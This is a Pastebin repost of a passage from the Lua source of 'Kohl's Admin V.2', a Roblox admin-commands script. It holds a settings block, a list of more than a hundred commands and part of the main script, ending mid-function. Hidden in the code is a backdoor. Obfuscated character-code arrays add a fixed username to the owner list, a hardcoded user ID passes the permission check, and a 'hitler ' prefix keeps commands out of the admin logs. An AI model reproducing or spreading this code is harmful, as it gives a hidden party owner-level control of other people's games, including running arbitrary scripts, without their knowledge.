Advertisement
xOmqDarryl

Untitled

Dec 16th, 2016
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 238.55 KB | None | 0 0
  1. PASTEBINnew pastetrends
  2.  
  3. Pastebin PRO Accounts CHRISTMAS SPECIAL! For a limited time only get 50% discount on a LIFETIME PRO account! Offer Ends Soon!
  4.  
  5. Kohl's Admin V.2 Roblox
  6. HARRYPOTTERFAN APR 4TH, 2013 28,107 NEVER
  7.  
  8. rawgetreport 119.00 KB
  9. -----------------------------------------------------------------------------------------
  10. -- Replace harrypotterfan249 with your name c: --
  11. -----------------------------------------------------------------------------------------
  12. local owners = {"pat7854"} -- Are able to set admins who can ban/etc... using :pa name
  13. local admins = {"pat7854"} -- Sets admins who can use ban/kick/admin or shutdown
  14. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  15. local banland = {"MasterKhaos"} -- Permanently Bans people
  16. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  17. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  18. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  19. ---------------------
  20. -- VIP Admin --
  21. ---------------------
  22. local VipAdmin = false -- If someone can have admin for owning an item
  23. local ItemId = 0 -- The item they must own in order to have admin
  24. ---------------------
  25. -- Group Admin --
  26. ---------------------
  27. local GroupAdmin = false -- If a certain group can have admin
  28. local GroupId = 0 -- Sets the group id that can have admin
  29. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  30. ---------------------
  31. -- Tips and Tricks --
  32. ---------------------
  33. --[[
  34. With this admin you can do a command on multiple people at a time;
  35. :kill me,noob1,noob2,random,team-raiders,nonadmins
  36.  
  37. You can also use a variety commands for different people;
  38. all
  39. others
  40. me
  41. team-
  42. admins
  43. nonadmins
  44. random
  45. --]]
  46. ---------------------
  47. -- Commands --
  48. ---------------------
  49. --[[
  50. -- |Temp Admin Commands| --
  51. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  52. 1. :s print("Hello World") -- Lets you script normally
  53. 2. :ls print("Hello World") -- Lets you script in localscripts
  54. 3. :clear -- Will remove all scripts/localscripts and jails
  55. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  56. 5. :kill kohl -- Kills the player
  57. 6. :respawn kohl -- Respawns the player
  58. 7. :trip kohl -- Trips the player
  59. 8. :stun kohl -- Stuns the player
  60. 9. :unstun kohl -- Unstuns the player
  61. 10. :jump kohl -- Makes the player jump
  62. 11. :sit kohl -- Makes the player sit
  63. 12. :invisible kohl -- Makes the player invisible
  64. 13. :visible kohl -- Makes the player visible
  65. 14. :explode kohl -- Makes the player explode
  66. 15. :fire kohl -- Sets the player on fire
  67. 16. :unfire kohl -- Removes fire from the player
  68. 17. :smoke kohl -- Adds smoke to the player
  69. 18. :unsmoke kohl -- Removes smoke from the player
  70. 19. :sparkles kohl -- Adds sparkles to the player
  71. 20. :unsparkles kohl -- Removes sparkles from the player
  72. 21. :ff kohl -- Adds a forcefield to the player
  73. 22. :unff kohl -- Removes the forcefield from the player
  74. 23. :punish kohl -- Punishes the player
  75. 24. :unpunish kohl -- Unpunishes the player
  76. 25. :freeze kohl -- Freezes the player
  77. 26. :thaw kohl -- Thaws the player
  78. 27. :heal kohl -- Heals the player
  79. 28. :god kohl -- Makes the player have infinite health
  80. 29. :ungod kohl -- Makes the player have 100 health
  81. 30. :ambient .5 .5 .5 -- Changes the ambient
  82. 31. :brightness .5 -- Changes the brightness
  83. 32. :time 12 -- Changes the time
  84. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  85. 34. :fogend 100 -- Changes the fogend
  86. 35. :fogstart 100 -- Changes the fogstart
  87. 36. :removetools kohl -- Removes all tools from the player
  88. 37. :btools kohl -- Gives the player building tools
  89. 38. :give kohl sword -- Gives the player a tool
  90. 39. :damage kohl -- Damages the player
  91. 40. :grav kohl -- Sets the player's gravity to normal
  92. 41. :setgrav kohl 100 -- Sets the player's gravity
  93. 42. :nograv kohl -- Makes the player have 0 gravity
  94. 43. :health kohl 1337 -- Changes the player's health
  95. 44. :speed kohl 1337 -- Changes the player's walkspeed
  96. 45. :name kohl potato -- Changes the player's name
  97. 46. :unname kohl -- Remove the player's name
  98. 47. :team kohl Raiders -- Changes the player's team
  99. 48. :stopmusic -- Will stop all music playing in the server
  100. 49. :teleport kohl potato -- Teleports the player
  101. 50. :change kohl kills 1337 -- Changes a player's stat
  102. 51. :kick kohl -- Removes the player from the game
  103. 52. :infect kohl -- Turns the player into a zombie
  104. 53. :rainbowify kohl -- Turns the player into a rainbow
  105. 54. :flashify kohl -- Turns the player into a strobe
  106. 55. :noobify kohl -- Turns the player into a noob
  107. 56. :ghostify kohl -- Turns the player into a ghost
  108. 57. :goldify kohl -- Turns the player into gold
  109. 58. :shiny kohl -- Makes the player shiny
  110. 59. :normal kohl -- Puts the player back to normal
  111. 60. :trippy kohl -- Spams random colors on the player's screen
  112. 61. :untrippy kohl -- Untrippys the player
  113. 62. :strobe kohl -- Spams white and black on the player's screen
  114. 63. :unstrobe kohl -- Unstrobes the player
  115. 64. :blind kohl -- Blinds the player
  116. 65. :unblind kohl -- Unblinds the player
  117. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  118. 67. :fling kohl -- Flings the player
  119. 68. :seizure kohl -- Puts the player in a seizure
  120. 69. :music 1337 -- Plays a sound from the ID
  121. 70. :lock kohl -- Locks the player
  122. 71. :unlock kohl -- Unlocks the player
  123. 72. :removelimbs kohl -- Removes the player's limbs
  124. 73. :jail kohl -- Puts the player in a jail
  125. 74. :unjail kohl -- Removes the jail from the player
  126. 75. :fix -- This will fix the lighting to it's original settings
  127. 76. :fly kohl -- Makes the player fly
  128. 77. :unfly kohl -- Removes fly from the player
  129. 78. :noclip kohl -- Makes the player able to noclip
  130. 79. :clip kohl -- Removes noclipping from the player
  131. 80. :pm kohl Hey bro -- Sends the player a private message
  132. 81. :dog kohl -- Turns the player into a dog
  133. 82. :undog kohl -- Turns the player back to normal
  134. 83. :creeper kohl -- Turns the player into a creeper
  135. 84. :uncreeper kohl -- Turns the player back to normal
  136. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  137. 86. :char kohl 261 -- Will make a player look like a different player ID
  138. 87. :unchar kohl -- Will return the player back to normal
  139. 88. :h Hello People -- This will shout a hint to everyone
  140. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  141. 90. :starttools kohl -- Will give the player starter tools
  142. 91. :sword kohl -- Will give the player a sword
  143. 92. :bighead kohl -- Will make the player's head larger than normal
  144. 93. :minihead kohl -- Will make the player's head smaller than normal
  145. 94. :insert 1337 -- Will insert a model at the speaker's position
  146. 95. :disco -- Will make the server flash random colors
  147. 96. :flash -- Will make the server flash
  148. 97. :admins -- Shows the admin list
  149. 98. :bans -- Shows the banlist
  150. 99. :musiclist -- Shows the music list
  151. 100. :spin kohl -- Spins the player
  152. 101. :cape kohl Really black -- Gives the player a colored cape
  153. 102. :uncape kohl -- Removes the player's cape
  154. 103. :loopheal kohl -- Will constantly heal the player
  155. 104. :loopfling kohl -- Will constantly fling the player
  156. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  157. 106. :unloopheal kohl -- Will remove the loopheal on the player
  158. 107. :unloopfling kohl -- Will remove the loopfling on the player
  159. 108. :unspin kohl -- Removes spin from the player
  160. 109. :tools -- Gives a list of the tools in the lighting
  161. 110. :undisco -- Removes disco effects
  162. 111. :unflash -- Removes flash effects
  163. 112. :resetstats kohl -- Sets all the stats of a player to 0
  164. 113. :gear kohl 1337 -- Gives a player a gear
  165. 114. :cmdbar -- Gives the speaker a command bar
  166. 115. :shirt kohl 1337 -- Changes the player's shirt
  167. 116. :pants kohl 1337 -- Changes the player's pants
  168. 117. :face kohl 1337 -- Changes the player's face
  169. 118. :swagify kohl -- Swagifies the player
  170. 119. :version -- Shows the current version of the admin
  171. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  172. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  173. 122. :clone kohl -- Creates a clone of the player
  174. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  175. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  176. 125. :control kohl -- Controls a player
  177.  
  178. -- |Admin Commands| --
  179. - :serverlock -- Locks the server
  180. - :serverunlock -- Unlocks the server
  181. - :sm Hello World -- Creates a system message
  182. - :crash kohl -- Crashes a player
  183. - :admin kohl -- Admins a player
  184. - :unadmin kohl -- Unadmins a player
  185. - :ban kohl -- Bans a player
  186. - :unban kohl -- Unbans a player
  187. - :loopkill kohl -- Will constantly kill the player
  188. - :unloopkill kohl -- Will remove the loopkill on the player
  189. - :logs -- Will show all of the commands any admin has used in a game session
  190. - :shutdown -- Shutsdown the server
  191.  
  192. -- |Owner Commands| --
  193. - :pa kohl -- Makes someone a super admin
  194. - :unpa kohl -- Removes a super admin
  195. - :nuke kohl -- Creates a nuke on kohl
  196.  
  197. -- |True Owner Commands| --
  198. - :oa kohl -- Makes someone an owner
  199. - :unoa kohl -- Removes an owner
  200. - :settings -- Shows settings for the commands
  201. --]]
  202. ---------------------
  203. -- Main Script --
  204. ---------------------
  205. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  206.  
  207. function CHEESE()
  208. if game:service("Lighting"):findFirstChild("KACV2") then
  209. owners = {} admins = {} tempadmins = {} banland = {}
  210. for i,v in pairs(game.Lighting.KACV2:children()) do
  211. if v.Name == "Owner" then table.insert(owners, v.Value) end
  212. if v.Name == "Admin" then table.insert(admins, v.Value) end
  213. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  214. if v.Name == "Banland" then table.insert(banland, v.Value) end
  215. if v.Name == "Prefix" then prefix = v.Value end
  216. if v.Name == "FunCommands" then FunCommands = v.Value end
  217. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  218. if v.Name == "GroupId" then GroupId = v.Value end
  219. if v.Name == "GroupRank" then GroupRank = v.Value end
  220. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  221. if v.Name == "ItemId" then ItemId = v.Value end
  222. end
  223. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  224. end
  225.  
  226. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  227. local lobjs = {}
  228. local objects = {}
  229. local logs = {}
  230. local nfs = ""
  231. local slock = false
  232.  
  233. function GetTime()
  234. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  235. if min < 10 then min = "0"..min end
  236. return hour..":"..min
  237. end
  238.  
  239. function ChkOwner(str)
  240. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  241. return false
  242. end
  243.  
  244. function ChkAdmin(str,ck)
  245. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  246. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  247. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  248. return false
  249. end
  250.  
  251. function ChkGroupAdmin(plr)
  252. if GroupAdmin then
  253. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  254. return false
  255. end
  256. end
  257.  
  258. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  259.  
  260. function GetPlr(plr, str)
  261. local plrz = {} str = str:lower()
  262. if str == "all" then plrz = game.Players:children()
  263. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  264. else
  265. local sn = {1} local en = {}
  266. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  267. for x = 1, #sn do
  268. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  269. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  270. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  271. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  272. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  273. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  274. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  275. end end end
  276. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  277. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  278. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  279. end end end
  280. else
  281. for a, plyr in pairs(game.Players:children()) do
  282. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  283. table.insert(plrz, plyr) break
  284. end
  285. end
  286. end
  287. end
  288. end
  289. return plrz
  290. end
  291.  
  292. function Hint(str, plrz, time)
  293. for i, v in pairs(plrz) do
  294. if v and v:findFirstChild("PlayerGui") then
  295. coroutine.resume(coroutine.create(function()
  296. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  297. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  298. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  299. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  300. if not time then wait((#str/19)+2.5) else wait(time) end
  301. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  302. end))
  303. end
  304. end
  305. end
  306.  
  307. function Message(ttl, str, scroll, plrz, time)
  308. for i, v in pairs(plrz) do
  309. if v and v:findFirstChild("PlayerGui") then
  310. coroutine.resume(coroutine.create(function()
  311. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  312. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  313. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  314. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  315. scr.Parent = v.PlayerGui
  316. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  317. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  318. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  319. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  320. end))
  321. end
  322. end
  323. end
  324.  
  325. function RemoveMessage()
  326. for i,v in pairs(game.Players:children()) do
  327. if v and v:findFirstChild("PlayerGui") then
  328. for q,ms in pairs(v.PlayerGui:children()) do
  329. if ms.Name == "MessageGUI" then
  330. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  331. elseif ms.Name == "HintGUI" then
  332. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  333. end
  334. end
  335. end
  336. end
  337. end
  338.  
  339. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  340. _G["RemoveMessage"] = RemoveMessage()
  341.  
  342. function Output(str, plr)
  343. coroutine.resume(coroutine.create(function()
  344. local b, e = loadstring(str)
  345. if not b and plr:findFirstChild("PlayerGui") then
  346. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  347. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  348. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  349. return
  350. end
  351. end))
  352. end
  353.  
  354. function Noobify(char)
  355. if char and char:findFirstChild("Torso") then
  356. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  357. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  358. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  359. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  360. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  361. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  362. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  363. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  364. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  365. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  366. end end
  367. end
  368. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  369.  
  370. function Infect(char)
  371. if char and char:findFirstChild("Torso") then
  372. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  373. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  374. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  375. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  376. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  377. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  378. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  379. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  380. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  381. end end
  382. end
  383. end if not ntab then script:Destroy() end
  384.  
  385. function ScrollGui()
  386. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  387. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  388. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  389. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  390. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  391. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  392. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  393. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  394. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  395. local num = 0
  396. local downv = false
  397. local upv = false
  398.  
  399. down.MouseButton1Down:connect(function() downv = true upv = false
  400. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  401. repeat pos = pos + UDim2.new(0,0,0,-6)
  402. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  403. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  404. end)
  405. down.MouseButton1Up:connect(function() downv = false end)
  406. up.MouseButton1Down:connect(function() upv = true downv = false
  407. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  408. repeat pos = pos + UDim2.new(0,0,0,6)
  409. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  410. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  411. end)
  412. up.MouseButton1Up:connect(function() upv = false end)
  413. return scr, cmf, ent, num
  414. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  415. if not ntab then script:Destroy() end
  416. if not bct then script:Destroy() end
  417.  
  418. function Chat(msg,plr)
  419. coroutine.resume(coroutine.create(function()
  420. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  421. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  422. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  423. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  424. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  425. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  426. if msg:lower() == "cmds" or msg:lower() == "commands" then
  427. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  428. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  429. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  430. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  431. local ost = {"pa plr","unpa plr","nuke plr"}
  432. local tost = {"oa plr","unoa plr","settings"}
  433. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  434. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  435. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  436. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  437. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  438. end
  439.  
  440. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  441.  
  442. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  443. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  444. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
